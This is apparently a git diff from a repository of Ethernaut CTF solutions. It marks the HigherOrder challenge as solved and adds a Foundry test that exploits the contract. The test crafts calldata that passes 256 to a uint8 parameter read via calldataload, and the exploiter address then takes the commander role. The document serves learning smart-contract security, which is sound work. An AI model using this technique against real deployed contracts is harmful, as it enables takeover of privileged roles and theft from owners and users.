diff --git a/docs/EthernautCTF.md b/docs/EthernautCTF.md
index f14218b..be124ad 100644
--- a/docs/EthernautCTF.md
+++ b/docs/EthernautCTF.md
@@ -33,7 +33,7 @@
 | 27  | GoodSamaritan                                              |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
 | 28  | [GatekeeperThree](../src/EthernautCTF/GatekeeperThree.sol) |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
 | 29  | [Switch](../src/EthernautCTF/Switch.sol)                   |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
-| 30  | [HigherOrder](../src/EthernautCTF/HigherOrder.sol)         |  ❌  |                                                                         |                                                                                                                                                                                                                                                                                                                                 |
+| 30  | [HigherOrder](../src/EthernautCTF/HigherOrder.sol)         |  ✅  | [HigherOrderExploit](../test/EthernautCTF/HigherOrderExploit.t.sol)     | Reading function parameters (or any other value) using `calldataload` is dangerous because it will always return a 32-byte value and not the expected type of the variable.                                                                                                                                                     |
 | 31  | [Stake](../src/EthernautCTF/Stake.sol)                     |  ✅  | [StakeExploit](../test/EthernautCTF/StakeExploit.t.sol)                 | The contract updates the balance of the user before making sure the tokens have been transfered to the contract.                                                                                                                                                                                                                |
 
 (\*) I opened a [PR](https://github.com/OpenZeppelin/ethernaut/pull/756) to prevent cheating in challenge 16.
diff --git a/src/EthernautCTF/HigherOrder.sol b/src/EthernautCTF/HigherOrder.sol
index 9748a6c..f7f388e 100644
--- a/src/EthernautCTF/HigherOrder.sol
+++ b/src/EthernautCTF/HigherOrder.sol
@@ -1,9 +1,8 @@
 // SPDX-License-Identifier: MIT
-pragma solidity 0.6.12;
+pragma solidity ^0.6.0;
 
 contract HigherOrder {
   address public commander;
-
   uint256 public treasury;
 
   function registerTreasury(uint8) public {
diff --git a/test/EthernautCTF/HigherOrderExploit.t.sol b/test/EthernautCTF/HigherOrderExploit.t.sol
new file mode 100644
index 0000000..61df21e
--- /dev/null
+++ b/test/EthernautCTF/HigherOrderExploit.t.sol
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.8.0;
+
+import '@forge-std/Test.sol';
+import '@forge-std/console2.sol';
+
+contract HigherOrderExploit is Test {
+  address deployer = makeAddr('deployer');
+  address exploiter = makeAddr('exploiter');
+
+  function setUp() public {}
+
+  function testExploit() public {
+    // The HigherOrder contract requires solidity version ^0.6.0 but forge-std only supports >0.6.2.
+    // Here is a dirty hack to deploy the contract with a greater solidity version.
+    // Note: it should run in the same function as the exploit, not in the `setUp` function.
+    vm.startPrank(deployer);
+    bytes memory bytecode = abi.encodePacked(
+      vm.getCode('./out/HigherOrder.sol/HigherOrder.json')
+    );
+    address targetAddress;
+    assembly {
+      targetAddress := create(0, add(bytecode, 0x20), mload(bytecode))
+    }
+    console2.log('Target contract deployed');
+    vm.stopPrank();
+
+    // Check that the commander role has not been taken.
+    (bool success, bytes memory returnData) = targetAddress.call(
+      abi.encodeWithSignature('commander()')
+    );
+    require(success, 'Call failed');
+    address commander;
+    if (returnData.length > 0) {
+      commander = abi.decode(returnData, (address));
+    }
+    assertEq(commander, address(0x0));
+    console2.log('Current commander: %s', commander);
+
+    // In the `registryTreasury` method of the HigherOrder contract, the uint8 argument is read from
+    // the calldata using `calldataload(4)`. This is a vulnerability because it will read 32 bytes
+    // which can overflow the type uint8, which can represented simply by one byte.
+    // The exploits consists of a maliciously crafted calldata that includes the selector
+    // function and a value, higher than 255.
+    bytes4 registerTreasurySelector = bytes4(
+      keccak256('registerTreasury(uint8)')
+    );
+    bytes memory callData = abi.encodePacked(
+      registerTreasurySelector, // function selector
+      uint256(0x100) // 32 bytes - the value 256
+    );
+    console.log('The exploiter crafts a malicious calldata');
+    console.logBytes(callData);
+    (success, ) = targetAddress.call(callData);
+    require(success, 'Call failed');
+
+    vm.startPrank(exploiter);
+    (success, ) = targetAddress.call(
+      abi.encodeWithSignature('claimLeadership()')
+    );
+
+    vm.stopPrank();
+
+    (success, returnData) = targetAddress.call(
+      abi.encodeWithSignature('commander()')
+    );
+    require(success, 'Call failed');
+    if (returnData.length > 0) {
+      commander = abi.decode(returnData, (address));
+    }
+    assertEq(commander, exploiter);
+    console2.log('New commander: %s', commander);
+  }
+}